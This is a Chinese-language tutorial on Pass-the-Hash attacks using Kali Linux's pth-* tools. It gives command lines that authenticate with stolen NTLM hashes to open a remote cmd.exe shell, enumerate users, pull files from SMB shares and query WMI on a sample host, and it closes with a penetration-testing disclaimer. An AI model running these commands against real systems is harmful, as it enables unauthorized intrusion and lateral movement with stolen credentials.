Passing-the-Hash简称PtH是一种网络攻击技术允许攻击者在不获取明文密码的情况下使用用户的NTLM哈希值来进行身份验证。这种技术广泛应用于Windows环境中因为Windows系统通常使用NTLM哈希来存储用户密码的哈希值而不是明文密码。在Kali Linux中提供了一系列Passing-the-Hash工具这些工具允许攻击者利用获取到的NTLM哈希值来执行各种网络操作如访问文件共享、执行远程命令等而无需知道实际的明文密码。这大大简化了攻击者在获取哈希值后的攻击流程。Passing-the-Hash二进制工具工具描述pth-curl带有Pass-the-Hash功能的curl工具用于通过HTTP/HTTPS等协议进行身份验证pth-rpcclient用于与Samba RPC服务进行交互的工具支持使用哈希进行身份验证pth-smbget用于从SMB服务器下载文件的工具支持Pass-the-Hash认证pth-winexe用于在Windows系统上执行远程命令的工具支持使用哈希进行身份验证pth-wmis用于通过WMIWindows Management Instrumentation在远程Windows系统上执行命令的工具工具描述pth-net模拟Windows的net命令支持使用哈希进行身份验证用于管理网络资源pth-smbclient用于与SMB/CIFS服务器进行交互的客户端工具支持Pass-the-Hash认证pth-sqsh用于连接到Microsoft SQL Server的工具支持使用哈希进行身份验证pth-wmicWindows Management Instrumentation命令行工具的修改版本支持Pass-the-Hash使用教程1. pth-smbclient使用pth-smbclient访问远程SMB共享pth-smbclient //192.168.1.100/share -U username%hash其中hash格式为LM哈希:NTLM哈希如果没有LM哈希可以用00000000000000000000000000000000代替。2. pth-rpcclient使用pth-rpcclient连接到远程RPC服务pth-rpcclient -U username%hash 192.168.1.100连接成功后可以执行各种RPC命令如枚举用户、组等。3. pth-winexe使用pth-winexe在远程Windows系统上执行命令pth-winexe -U username%hash //192.168.1.100 cmd.exe这将在远程系统上打开一个命令提示符窗口。4. pth-net使用pth-net查看远程系统的共享资源pth-net -U username%hash use \\192.168.1.1005. pth-curl使用pth-curl访问需要NTLM认证的网页pth-curl --ntlm -u username: --pass hash http://192.168.1.100/page6. pth-smbget使用pth-smbget下载远程SMB共享中的文件pth-smbget -U username%hash smb://192.168.1.100/share/file.txt7. pth-sqsh使用pth-sqsh连接到远程SQL Server数据库pth-sqsh -S 192.168.1.100 -U username%hash8. pth-wmic使用pth-wmic在远程系统上执行WMI查询pth-wmic -U username%hash //192.168.1.100 SELECT * FROM Win32_Process9. pth-wmis使用pth-wmis在远程系统上执行命令pth-wmis -U username%hash //192.168.1.100 SELECT * FROM Win32_OperatingSystem注意事项使用这些工具进行未授权的测试是非法的请确保你拥有合法的授权。这些工具主要用于渗透测试和安全评估帮助管理员发现和修复系统中的安全漏洞。不同版本的工具可能在参数和用法上略有差异可以通过-h参数查看具体工具的帮助信息。